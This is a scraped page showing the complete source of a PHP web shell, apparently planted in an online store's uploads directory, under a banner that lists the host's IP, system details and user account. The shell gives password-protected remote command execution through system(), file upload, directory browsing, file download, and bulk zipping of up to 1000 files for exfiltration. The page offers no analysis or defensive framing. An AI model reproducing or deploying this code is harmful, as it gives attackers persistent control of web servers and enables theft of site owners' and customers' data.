| Server IP : 66.29.146.62 / Your IP : 216.73.216.152 Web Server : LiteSpeed System : Linux premium231.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : dokkdzvi ( 925) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/dokkdzvi/itsluxury-uae.store/uploads/ |
Upload File : |
<?php
session_start();
// كلمة المرور للدخول
$password = "secure123";
// التحقق من تسجيل الدخول
if (!isset($_SESSION['authenticated'])) {
if (isset($_POST['password']) && $_POST['password'] === $password) {
$_SESSION['authenticated'] = true;
} else {
echo '<form method="POST"><input type="password" name="password" placeholder="Enter Password"><button type="submit">Login</button></form>';
exit;
}
}
// إعداد المجلد الحالي
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : __DIR__;
// إنشاء نسخة احتياطية (backup)
if (isset($_GET['backup'])) {
$zip_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "backup_" . time() . ".zip";
$zip = new ZipArchive();
if ($zip->open($zip_file, ZipArchive::CREATE) === TRUE) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($current_dir));
$count = 0;
foreach ($files as $file) {
if (!$file->isDir()) {
$relativePath = substr($file, strlen($current_dir) + 1);
$zip->addFile($file, $relativePath);
$count++;
if ($count >= 1000) break; // لا تضغط أكثر من 1000 ملف
}
}
$zip->close();
if (file_exists($zip_file)) {
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
header('Content-Length: ' . filesize($zip_file));
readfile($zip_file);
unlink($zip_file);
exit;
}
}
echo "❌ فشل إنشاء ملف الضغط.";
exit;
}
// تنزيل ملف
if (isset($_GET['download'])) {
$file = basename($_GET['download']);
$filePath = $current_dir . DIRECTORY_SEPARATOR . $file;
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit;
} else {
echo "❌ الملف غير موجود.";
}
}
// تنفيذ أوامر
if (isset($_POST['cmd'])) {
echo "<h2>نتيجة تنفيذ الأمر:</h2><pre>";
system($_POST['cmd']);
echo "</pre><hr>";
}
// رفع ملفات
if (isset($_FILES['file'])) {
$target = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "✅ تم رفع الملف بنجاح: " . htmlspecialchars($target);
header("Location: ?dir=" . urlencode($current_dir));
exit;
} else {
echo "❌ فشل رفع الملف.";
}
}
// استعراض الملفات والمجلدات
function listFilesAndDirs($dir)
{
$items = scandir($dir);
echo "<h2>📂 محتويات: " . htmlspecialchars($dir) . "</h2><ul>";
if ($dir !== '/') {
echo "<li><a href='?dir=" . urlencode(dirname($dir)) . "'>⬅️ عودة للخلف</a></li>";
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
echo "<li>[📁] <a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></li>";
} else {
echo "<li>[📄] <a href='?dir=" . urlencode($dir) . "&download=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a></li>";
}
}
echo "</ul><hr>";
}
// واجهة المستخدم
echo "<h1>PHP Advanced Shell</h1>";
echo "<a href='?backup=1&dir=" . urlencode($current_dir) . "'>🚀 ضغط وتحميل 1000 ملف</a><hr>";
listFilesAndDirs($current_dir);
?>
<!-- نموذج تنفيذ الأوامر -->
<form method="POST">
<h2>🔧 تنفيذ أمر:</h2>
<input type="text" name="cmd" placeholder="أدخل الأمر هنا" style="width:300px;">
<button type="submit">تنفيذ</button>
</form>
<!-- نموذج رفع الملفات -->
<form method="POST" enctype="multipart/form-data">
<h2>📤 رفع ملف:</h2>
<input type="file" name="file">
<button type="submit">رفع</button>
</form>